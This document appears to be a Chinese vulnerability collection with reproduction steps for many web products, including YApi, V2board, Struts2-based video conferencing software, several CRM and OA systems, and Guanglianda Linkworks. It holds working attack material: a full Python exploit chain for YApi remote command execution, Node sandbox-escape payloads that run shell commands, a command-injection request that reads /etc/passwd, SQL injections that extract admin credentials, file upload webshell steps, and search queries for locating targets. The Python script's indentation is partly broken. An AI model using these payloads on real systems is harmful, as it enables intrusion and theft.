Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

通过 org.apache.shindig.gadgets.servlet.ProxyServlet 下的 doGet方法接收参数, 传入 processRequest

private void processRequest(HttpServletRequest request, HttpServletResponse servletResponse) throws IOException {
        if (request.getHeader("If-Modified-Since") != null) {
            servletResponse.setStatus(304);
        } else {
            Uri reqUri = (new UriBuilder(request)).toUri();

            HttpResponse response;
            try {
                ProxyUri proxyUri = this.proxyUriManager.process(reqUri);
                SecurityToken st = AuthInfoUtil.getSecurityTokenFromRequest(request);
                proxyUri.setSecurityToken(st);
                proxyUri.setUserAgent(request.getHeader("User-Agent"));
                if (proxyUri.getGadget() == null && st != null && !st.isAnonymous()) {
                    proxyUri.setGadget(st.getAppUrl());
                }

                AuthType authType = proxyUri.getAuthType();
                if (AuthType.OAUTH.equals(authType)) {
                    proxyUri.setOAuthArguments(new OAuthArguments(AuthType.OAUTH, request));
                } else if (AuthType.OAUTH2.equals(authType)) {
                    proxyUri.setOAuth2Arguments(new OAuth2Arguments(request));
                }

                String host = request.getHeader("Host");
                if (!this.lockedDomainService.isSafeForOpenProxy(host)) {
                    Uri resourceUri = proxyUri.getResource();
                    String msg = "Embed request for url " + (resourceUri != null ? resourceUri.toString() : "n/a") + " made to wrong domain " + host;
                    if (LOG.isLoggable(Level.INFO)) {
                        LOG.logp(Level.INFO, classname, "processRequest", "embededImgWrongDomain", new Object[]{resourceUri != null ? resourceUri.toString() : "n/a", host});
                    }

                    throw new GadgetException(Code.INVALID_PARAMETER, msg, 400);
                }

                if ("POST".equalsIgnoreCase(request.getMethod())) {
                    StringBuffer buffer = this.getPOSTContent(request);
                    response = this.proxyHandler.fetch(proxyUri, buffer.toString());
                } else {
                    response = this.proxyHandler.fetch(proxyUri);
                }
            } catch (GadgetException var11) {
                response = ServletUtil.errorResponse(new GadgetException(var11.getCode(), var11.getMessage(), 400));
            }

            ServletUtil.copyToServletResponseAndOverrideCacheHeaders(response, servletResponse);
        }
    }

向下跟进到org.apache.shindig.gadgets.servlet.ProxyHandler

img

org.apache.shindig.gadgets.servlet.ProxyHandler.fatch

img

接着向下看到 org.apache.shindig.gadgets.servlet.ProxyHandler 下的 buildHttpRequest 方法创建Http请求, 而目标就是我们刚刚传入的Url参数

private HttpRequest buildHttpRequest(ProxyUri uriCtx, Uri tgt, @Nullable String postBody) throws GadgetException, IOException {
       ServletUtil.validateUrl(tgt);
       HttpRequest req = uriCtx.makeHttpRequest(tgt);
       req.setRewriteMimeType(uriCtx.getRewriteMimeType());
       if (postBody != null) {
           req.setMethod("POST");
           req.setPostBody(new ByteArrayInputStream(postBody.getBytes()));
       }

       if (req.getHeader("User-Agent") == null) {
           String userAgent = uriCtx.getUserAgent();
           if (userAgent != null) {
               req.setHeader("User-Agent", userAgent);
           }
       }

       return req;
   }

img

img

最后回显至页面中, 造成存在回显的SSRF

imgimage-20240811203353255

image-20240811203404500

v2board

1.6-privilege-escalation

V2board 1.6.1 提权漏洞

V2board是一个多用户代理工具管理面板。在其1.6.1版本中,引入了对于用户Session的缓存机制,服务器会将用户的认证信息储存在Redis缓存中。

但由于读取缓存时没有校验该用户是普通用户还是管理员,导致普通用户的认证信息即可访问管理员接口,造成提权漏洞。

参考链接:

漏洞环境

执行如下命令启动一个V2board 1.6.1版本服务器:

docker compose up -d

服务启动后,访问http://localhost:8080即可查看到其登录页面。

漏洞复现

复现该漏洞,必须注册或找到一个普通用户账号。注册完成后,我们发送如下请求进行登录(将其中账号密码替换成你注册时使用的信息):

curl -i -s -k -XPOST --data-binary "email=example%40example.com&password=a123123123" http://localhost:8080/api/v1/passport/auth/login

服务器会返回当前用户的认证信息“auth_data”:

拷贝这个认证信息,并替换到如下数据包的Authorization头中,发送:

GET /api/v1/user/info HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Authorization: ZXhhbXBsZUBleGFtcGxlLmNvbTokMnkkMTAkMVJpUFplR2RnZlFPSVRyWEM4dW0udW5QZVZNTGs3RlFFbkFVVnBwbEhmTlMyczdQaEpTa3E=
Cache-Control: max-age=0

这一步的目的是让服务器将我们的Authorization头写入缓存中。

最后,只需要带上这个Authorization头,即可使用所有管理员API了。例如http://your-ip:8080/api/v1/admin/user/fetch

image-20240805171607455

yapi

mongodb-inj

YApi NoSQL注入导致远程命令执行漏洞

YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

参考链接:

漏洞影响

YApi 接口管理平台 < v1.11.0

网络测绘

app=”YApi”

漏洞环境

执行如下命令启动一个YApi v1.10.2服务:

docker compose up -d

环境启动后,访问http://your-ip:3000即可看到YApi首页。

漏洞复现

登录页面

img

查看漏洞修复补丁,其中对 token 的数据类型继续校验,需要为字符串才能通过代码

img

来到代码块中,首先先从请求中获取 token 数据,通过校验后来到方法 parseToken

img

server/utils/token.js#parseToken 方法中对 token进行解密,当解密失败时返回 False

img

在这个文件中我们可以找到 Token的加解密方法

img

Token为False时,代码走向 server/controllers/base.js#getProjectIdByToken方法

img

img

getProjectIdByToken方法调用 server/models/token.js#findId 方法

img使用 $regex 关键字匹配MongoDB 数据库中的 token, 并通过页面回显判断 token是否正确

db.token.findOne({token:{'$regex':'^1c'}})

img

验证POC

POST /api/interface/up

{"id": -1, "token": {"$regex": "^xxxxx", "$nin": []}}

img

img

img

漏洞POC


import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin

logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''


def compute(passphase: str):
    nkey = 24
    niv = 16
    key = ''
    iv = ''
    p = ''

    while True:
        h = hashlib.md5()
        h.update(binascii.unhexlify(p))
        h.update(passphase.encode())
        p = h.hexdigest()

        i = 0
        n = min(len(p) - i, 2 * nkey)
        nkey -= n // 2
        key += p[i:i + n]
        i += n
        n = min(len(p) - i, 2 * niv)
        niv -= n // 2
        iv += p[i:i + n]
        i += n

        if nkey + niv == 0:
            return binascii.unhexlify(key), binascii.unhexlify(iv)


def aes_encode(data):
    key, iv = compute('abcde')
    padder = padding.PKCS7(128).padder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    encryptor = cipher.encryptor()
    ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
    return binascii.hexlify(ct).decode()


def aes_decode(data):
    key, iv = compute('abcde')
    unpadder = padding.PKCS7(128).unpadder()
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
    decryptor = cipher.decryptor()
    ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
    ct = unpadder.update(ct) + unpadder.finalize()
    return ct.decode().strip()


def brute_token(target, already):
    url = urljoin(target, '/api/interface/up')
    current = '^'
    for i in range(20):
        for ch in choices:
            guess = current + ch
            data = {
                'id': -1,
                'token': {
                    '$regex': guess,
                    '$nin': already
                }
            }
            headers = {
                'Content-Type': 'application/json'
            }
            response = requests.post(url,
                                     data=json.dumps(data),
                                     headers=headers,
                                     # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
                                     # verify=False,
                                    )
            res = response.json()

            if res['errcode'] == 400:
            current = guess
            break

            logger.debug(f'current cuess: {current}')

            return current[1:]


            def find_owner_uid(target, token):
            url = urljoin(target, '/api/project/get')
            for i in range(1, 200):
            params = {'token': aes_encode(f'{i}|{token}')}
            response = requests.get(url, params=params,
            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
            # verify=False,
            )
            data = response.json()
            if data['errcode'] == 0:
            return i

            return None


            def find_project(target, token, pid=None):
            url = urljoin(target, '/api/project/get')
            params = {'token': token}
            if pid:
            params['id'] = pid

            response = requests.get(url,
            params=params,
            #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
            #verify=False,
            )
            data = response.json()

            if data['errcode'] == 0:
            return data['data']


            def find_col(target, token, brute_from, brute_to):
            url = urljoin(target, '/api/open/run_auto_test')

            for i in range(brute_from, brute_to):
            try:
            params = {'token': token, 'id': i, "mode": "json"}
            response = requests.get(url,
            params=params,
            timeout=5,
            #proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
            #verify=False,
            )

            data = response.json()
            if 'message' not in data:
            continue

            if data['message']['len'] > 0:
            logger.debug('Test Result Found: %r', response.url)
            yield i
            except requests.exceptions.Timeout:
            logger.debug('id=%d timeout', i)
            pass


            def update_project(target, token, project_id, command):
            url = urljoin(target, '/api/project/up')

            command_hex = command.encode().hex()
            script = script_template % command_hex
            response = requests.post(url,
            params={'token': token},
            json={'id': project_id, 'after_script': script},
            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
            # verify=False,
            )
            data = response.json()
            return data['errcode'] == 0


            def run_auto_test(target, token, col_id):
            url = urljoin(target, '/api/open/run_auto_test')

            response = requests.get(url, 
            params={'token': token, 'id': col_id, 'mode': 'json'},
            # proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
            # verify=False,
            )

            try:
            data = response.json()
            return data['list'][0]['res_body'][8:-8]
            except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
            g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
            if g:
            return g.group(1).decode()
            else:
            return None


            def clear_project(target, token, project_id, old_after_script):
            url = urljoin(target, '/api/project/up')
            response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
            data = response.json()
            return data['errcode'] == 0


            @click.group()
            @click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
            def cli(debug):
            if debug:
            logger.setLevel('DEBUG')


            @cli.command('enc')
            @click.argument('data', type=str, required=True)
            def cmd_enc(data: str):
            click.echo(aes_encode(data))


            @cli.command('dec')
            @click.argument('data', type=str, required=True)
            def cmd_dec(data: str):
            click.echo(aes_decode(data))


            @cli.command('token')
            @click.option('-u', '--url', type=str, required=True)
            @click.option('-c', '--count', type=int, default=5)
            def cmd_token(url, count):
            already = []
            for i in range(count):
            token = brute_token(url, already)
            if not token:
            break

            click.echo(f'find a valid token: {token}')
            already.append(token)


            @cli.command('owner')
            @click.option('-u', '--url', type=str, required=True)
            @click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
            def cmd_owner(url, token):
            aid = find_owner_uid(url, token)
            e = aes_encode(f'{aid}|{token}')
            click.echo(f'your owner id is: {aid}, encrypted token is {e}')


            @cli.command('project')
            @click.option('-u', '--url', type=str, required=True)
            @click.option('-o', '--owner-id', 'owner', type=str, required=True)
            @click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
            def cmd_project(url, owner, token):
            token = aes_encode(f'{owner}|{token}')
            project = find_project(url, token)
            if project:
            logger.info('[+] project by this token: %r', project)
            click.echo(f'your project id is: {project["_id"]}')


            @cli.command('col')
            @click.option('-u', '--url', type=str, required=True)
            @click.option('-o', '--owner-id', 'owner', type=str, required=True)
            @click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
            @click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
            @click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
            def cmd_col(url, owner, token, brute_from, brute_to):
            token = aes_encode(f'{owner}|{token}')
            for i in find_col(url, token, brute_from, brute_to):
            click.echo(f'found a valid col id: {i}')


            @cli.command('rce')
            @click.option('-u', '--url', type=str, required=True)
            @click.option('-o', '--owner-id', 'owner', type=str, required=True)
            @click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
            @click.option('--pid', 'project_id', type=int, required=True)
            @click.option('--cid', 'col_id', type=int, required=True)
            @click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
            def cmd_rce(url, owner, token, project_id, col_id, command):
            token = aes_encode(f'{owner}|{token}')
            project = find_project(url, token, project_id)
            if not project:
            click.echo('[-] failed to get project')
            return False

            old_after_script = project.get('after_script', '')
            if not update_project(url, token, project_id, command):
            click.echo('[-] failed to update project')
            return False

            output = run_auto_test(url, token, col_id)
            if output:
            click.echo(output)
            clear_project(url, token, project_id, old_after_script)
            return True

            clear_project(url, token, project_id, old_after_script)
            return False


            @cli.command('one4all')
            @click.option('-u', '--url', type=str, required=True)
            @click.option('--count', type=int, default=5)
            @click.option('-c', '--command', type=str, default='id')
            def cmd_one4all(url, count, command):
            already = []
            for i in range(count):
            token = brute_token(url, already)
            if not token:
            logger.info('[-] no new token found, exit...')
            break

            already.append(token)
            logger.info('[+] find a new token: %s', token)
            owner_id = find_owner_uid(url, token)
            if not owner_id:
            logger.info('[-] failed to find the owner id using token %s', token)
            continue

            etoken = aes_encode(f'{owner_id}|{token}')
            logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
            project = find_project(url, etoken)
            if not project:
            logger.info('[-] failed to find project using token %s', token)
            continue

            project_id = project['_id']
            logger.info('[+] project_id = %s, project = %r', project_id, project)
            col_ids = find_col(url, etoken, 1, 200)
            if not col_ids:
            logger.info('[+] failed to find cols in project %s, try next project...', project_id)

            for col_id in col_ids:
            logger.info('[+] col_id = %s', col_id)
            click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
            click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')

            if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
            return


            if __name__ == '__main__':
            cli()

使用这个POC来复现漏洞:

python poc.py --debug one4all -u http://127.0.0.1:3000/

image-20240805170431959

unacc

YApi开放注册导致RCE

中文版本(Chinese version)

YApi是一个API管理工具。如果注册功能开放,攻击者可以使用Mock功能执行任意代码。

参考链接:

漏洞影响

YApi 接口管理平台

网络测绘

app=”YApi”

漏洞环境

执行如下命令启动一个YApi 1.9.2:

docker compose up -d

环境启动后,访问http://your-ip:3000即可查看到YApi首页。

漏洞复现

首先,注册一个用户,并创建项目和接口:

接口中有一个Mock页面可以填写代码,我们填写包含恶意命令的代码:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()

然后,回到“预览”页面可以获得Mock的URL:

打开这个URL,即可查看到命令执行的结果:

image-20240805170505024

添加项目,参数任意, 创建后点击 高级Mock 输入如下Payload

const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()

const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const base64Str = "Y29uc3QgciA9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMoImhhaGhhaGFoYWhhaGEiKTtyZXR1cm4gcjsK"
const bufferer = FunctionConstructor("haha = new Buffer('" + base64Str + "', 'base64');return haha");
const haha = new bufferer();
const c = haha.toString()
const daima = c.replace("hahhahahahaha","whoami")//这里写命令
const daima_jiazai = FunctionConstructor(daima);
const jieguo = daima_jiazai()
mockJson = jieguo.toString();

img

预览处点击项目链接

img

安美数字

安美数字 酒店宽带运营系统 server_ping.php 远程命令执行漏洞

漏洞描述

安美数字 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞,漏洞文件中ip参数未过滤造成命令执行

漏洞影响

安美数字 酒店宽带运营系统

网络测绘

“酒店宽带运营”

漏洞复现

登录页面如下

img

存在漏洞的文件为 server_ping.php

<?
if (!isset($ip) || $ip == "" || !isset($id) || $id == "") exit;

$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
$getString = "";
if ($fp) {
	while (($line = fgets($fp, 512))) {
		$getString .= trim($line);
	}
	pclose($fp);
	
}

if (strstr($getString, "2 received, 0%")) {
	echo "<html><body><script language=\"javascript\">\n";
	echo "parent.doTestResult('$id', 'ok');\n";
	echo "</script></body></html>\n";
} else {
	echo "<html><body><script language=\"javascript\">\n";
	echo "parent.doTestResult('$id', 'no');\n";
	echo "</script></body></html>\n";
}
?>
$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");

GET传入 $ip参数 后直接命令执行,并且文件无权限要求

请求包为

GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../test.txt&id=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

img

宝塔

宝塔 phpmyadmin未授权访问漏洞

漏洞描述

【宝塔面板】紧急安全更新通知,Linux面板7.4.2版本/Windows面板6.8版本存在安全隐患,其他版本无此风险。已发布紧急更新,请所有使用此版本的用户务必升级到最新版,更新方法,登录面板直接升级更新即可,如更新出现问题,请登录宝塔论坛反馈或者联系客服反馈

影响版本

Linux正式版7.4.2

Linux测试版7.5.13

Windows正式版6.8

漏洞复现

访问 http://xxx.xxx.xxx.xxx:888/pma 即可

image-20240812142946176

畅捷CRM

get_usedspace.php SQL注入漏洞

漏洞描述

畅捷CRM get_usedspace.php存在SQL漏洞,通过漏洞可获取数据库敏感信息

漏洞影响

畅捷CRM

网络测绘

title=”畅捷CRM”

漏洞复现

登录页面

img

验证POC

/webservice/get_usedspace.php?site_id=-1159 UNION ALL SELECT CONCAT(0x76756c6e,0x76756c6e,0x76756c6e)--

img

使用Sqlmap验证漏洞

sqlmap -u ![image-20240812143230455](https://images.zezhao.wang/images/note/WiKi/image-20240812143230455.png)"http://xxx.xxx.xxx.xxx:8000/webservice/get_usedspace.php?site_id=1" -p site_id

image-20240812143228482

后台附件任意文件上传漏洞

漏洞描述

畅捷CRM 后台附件存在任意文件上传漏洞,通过解析漏洞可跳过后缀更改获取网站权限

漏洞影响

畅捷CRM

网络测绘

title=”畅捷CRM”

漏洞复现

登录页面

img

部分存在空密码 admin/空密码

登录后添加客户,并上传附件为PHP文件,其中文件名为 xxx.xxx.php格式,越过系统中的后缀更改

img

点击文件名跳转

image-20240812143308407

辰信领创

辰信景云终端安全管理系统 login SQL注入漏洞

漏洞描述

辰信领创 辰信景云终端安全管理系统 login存在 SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息

漏洞影响

辰信领创 辰信景云终端安全管理系统

网络测绘

“辰信景云终端安全管理系统”

漏洞复现

登录页面

img

验证POC

POST /api/user/login

captcha=&password=21232f297a57a5a743894a0e4a801fc3&username=admin'and(select*from(select+sleep(3))a)='

image-20240812143358461

飞企互联

FE业务协作平台 ShowImageServlet 任意文件读取漏洞

漏洞描述

飞企互联 FE业务协作平台 ShowImageServlet 接口存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中敏感文件

漏洞影响

飞企互联 FE业务协作平台

网络测绘

“flyrise.stopBackspace.js”

漏洞复现

登陆页面

img

验证POC

/servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print

image-20240812143439491

飞视美

视频会议系统 Struts2 远程命令执行漏洞

漏洞描述

飞视美 视频会议系统 Struts2组件存在远程命令执行漏洞,通过漏洞攻击者可执行任意命令获取服务器权限

漏洞影响

飞视美 视频会议系统

网络测绘

app=”飞视美-视频会议系统”

漏洞复现

登录页面

img

存在漏洞的路径为

/confinfoaction!showallConfinfos.action

发送请求包

POST /confinfoaction!showallConfinfos.action HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 669
Host: 
Connection: Keep-Alive

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ipconfig\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))

image-20240812143527457

孚盟云

孚盟云 AjaxMethod.ashx SQL注入漏洞

漏洞描述

孚盟云 AjaxMethod.ashx文件存在SQL注入漏洞,攻击者通过漏洞可获取服务器权限

漏洞影响

孚盟云

网络测绘

title=”孚盟云 “

漏洞复现

登录页面

img

验证POC

http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27

img

使用Sqlmap

sqlmap -u "http://xxx.xxx.xxx.xxx/Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y" -p Name --batch --random-agent --dbms mssql --dbs

image-20240812143725514

广联达

Linkworks GetIMDictionary SQL注入漏洞

漏洞描述

广联达 Linkworks办公OA GetIMDictionary接口存在SQL注入漏洞,发送请求包后可以获取数据库中的敏感信息

漏洞影响

广联达 Linkworks

网络测绘

web.body=”/Services/Identification/“

漏洞复现

登陆页面

img

// GTP.IM.Services.Config.WebSite.WebService.IM.Config.ConfigService
// Token: 0x06000018 RID: 24 RVA: 0x00004148 File Offset: 0x00002348
[WebMethod(Description = "得到IM系统配置")]
public string GetIMDictionary(string key)
{
	string str = string.Empty;
	ISysConfigService service = ServiceFactory.GetService<ISysConfigService>();
	StringBuilder stringBuilder = new StringBuilder();
	stringBuilder.AppendFormat("select F_VALUE from T_IM_DICTIONARY where f_key='{0}';", key);
	DataSet dataSet = GSqlDataAccess.SelectDataSet(service.DataSourceName, stringBuilder.ToString(), new DataParameter[0]);
	if (dataSet != null && dataSet.Tables.Count > 0 && dataSet.Tables[0] != null)
	{
		foreach (object obj in dataSet.Tables[0].Rows)
		{
			DataRow dataRow = (DataRow)obj;
			str = dataRow["F_VALUE"].ToString();
		}
	}
	StringBuilder stringBuilder2 = new StringBuilder();
	stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"utf-8\"?>");
	stringBuilder2.Append("<result  value=\"" + str + "\" >");
	stringBuilder2.Append("</result>");
	return stringBuilder2.ToString();
}

image.png

验证POC

POST /Webservice/IM/Config/ConfigService.asmx/GetIMDictionary HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

key=1' UNION ALL SELECT top 1 concat(F_CODE,':',F_PWD_MD5) from T_ORG_USER --

image-20240812143857697

Linkworks msgbroadcastuploadfile.aspx 后台文件上传漏洞

漏洞描述

广联达 Linkworks msgbroadcastuploadfile.aspx 存在后台文件上传漏洞,攻击者通过SQL注入获取管理员信息后,可以登陆发送请求包获取服务器权限

漏洞影响

广联达 Linkworks

网络测绘

web.body=”/Services/Identification/“

漏洞复现

登陆页面

img

GTP.IM.Services.Group.WebSite.GTP.IM.Services.Group 存在文件上传,上传后在当前目录 Upload下

img

通过SQL注入获取管理员账号密码后登陆后台上传文件,验证POC

POST /gtp/im/services/group/msgbroadcastuploadfile.aspx HTTP/1.1
Host: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Cookie: 0_styleName=styleA

------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; filename="1.aspx";filename="1.jpg"
Content-Type: application/text

Test

------WebKitFormBoundaryFfJZ4PlAZBixjELj--

img

/GTP/IM/Services/Group/Upload/xxx-xxx-test.aspx

image-20240812143939230

汉得

汉得SRM tomcat.jsp 登陆绕过漏洞

漏洞描述

汉得SRM tomcat.jsp 文件存在登陆绕过漏洞, 攻击者通过发送请求包,可以获取后台管理员权限

漏洞影响

汉得SRM

网络测绘

web.body=”汉得SRM”

漏洞复现

登陆页面

img

验证POC (Tomcat session操控)

/tomcat.jsp?dataName=role_id&dataValue=1
/tomcat.jsp?dataName=user_id&dataValue=1

img

访问跳转后台

/main.screen

和信创天

和信创天云桌面系统 upload_file.php 远程命令执行漏洞

漏洞描述

和信创天云桌面系统存在默认配置导致文件上传并可以远程命令执行

漏洞影响

和信创天云桌面系统

网络测绘

和信下一代云桌面VENGD

漏洞复现

登录页面如下

img

存在漏洞的文件为 upload_file.php

<?php
function writeLog($msg){
    $logFile = date('Y-m-d').'.txt';
    $msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";
    file_put_contents($logFile,$msg,FILE_APPEND );
}
//require("vesystem/msg_define/session_lib.php");
if ($_FILES["file"]["error"] > 0)
{
  //  echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
    echo "_Requst:<br>";
        /*     foreach($_REQUEST as $name => $value)
            {
                 $name."=".$value."<br>";
            }
            //echo "_FILES:<br>";
            foreach($_FILES as $array_name=>$array_value)
            {    
            $array_name."=".$array_value."<br>";
                foreach($_FILES[$array_name] as $name => $value)
                {
                $name."=".$value."<br>";
                }
            } */
        $l = $_GET['l'];
        
        //拆分字符串按“/”分割字符
        $arrpath = explode("/",$l);
        $m = count($arrpath);
        
        
        $file_e = "";
        if ($m>1){
            for($i=0;$i<$m;$i++){
                $file_e .= $arrpath[$i];
                
                
                if(!file_exists($file_e)){
                    mkdir($file_e, 0777);
                }
                $file_e .= "/";
            }
            
        }else{
            
            //判断文件夹是否存在 ,不存在就新建个
            
            
            if(!file_exists($l)){
                mkdir("$l", 0777);
            }
        }
        
        
        
        $target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];
       
       
        if (file_exists($target_path))
        {
            unlink($target_path);
        }
        
        
        $a = 'old_file='.$_FILES["file"]["tmp_name"];
        
        writeLog($a);
        writeLog('new_file='.$target_path);
    $target_path = str_replace ( '//', '/', $target_path );
    
    writeLog('new_file2='.$target_path);
    
   $varerror =  move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);
    
    writeLog('$varerror='.$varerror);
}
?>

发送请求包如下

POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: xxx.xxx.xx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 182

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif

<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--

访问

http://xxx.xx.xxx.xxx/Upload/1/test.php

image-20240812144102343

宏景

CNVD-2023-08743

宏景 HCM codesettree SQL注入漏洞

漏洞描述

宏景 HCM codesettree 接口存在SQL注入漏洞,攻击者通过漏洞可以获取到登陆系统的账号密码和数据库信息

漏洞影响

宏景 HCM

网络测绘

app=”HJSOFT-HCM”

漏洞复现

登陆页面

img

验证POC

/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cusername~20from~20operuser~20~2d~2d
/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27~31~27~2cpassword~20from~20operuser~20~2d~2d

image-20240812144157565

汇文

图书馆书目检索系统 config.properties 信息泄漏漏洞

漏洞描述

汇文 图书馆书目检索系统 /include/config.properties 文件中包含敏感信息,攻击者可以直接访问获取信息

漏洞影响

汇文v5.6

网络测绘

app=”汇文软件-书目检索系统”

漏洞复现

主页面

img

验证POC

/include/config.properties

image-20240812144250677

吉拉科技

LVS精益价值管理系统 Business 目录遍历漏洞

漏洞描述

杭州吉拉科技有限公司多个系统存在目录遍历漏洞,由于 /Business/ 访问控制不严,攻击者可利用该漏洞获取敏感信息。

漏洞影响

吉拉科技 LVS精益价值管理系统

网络测绘

“Supperd By 吉拉科技”

漏洞复现

登录页面

img

验证POC

/Business/

image-20240812144408295

极通EWEBS

casmain.xgi 任意文件读取漏洞

漏洞描述

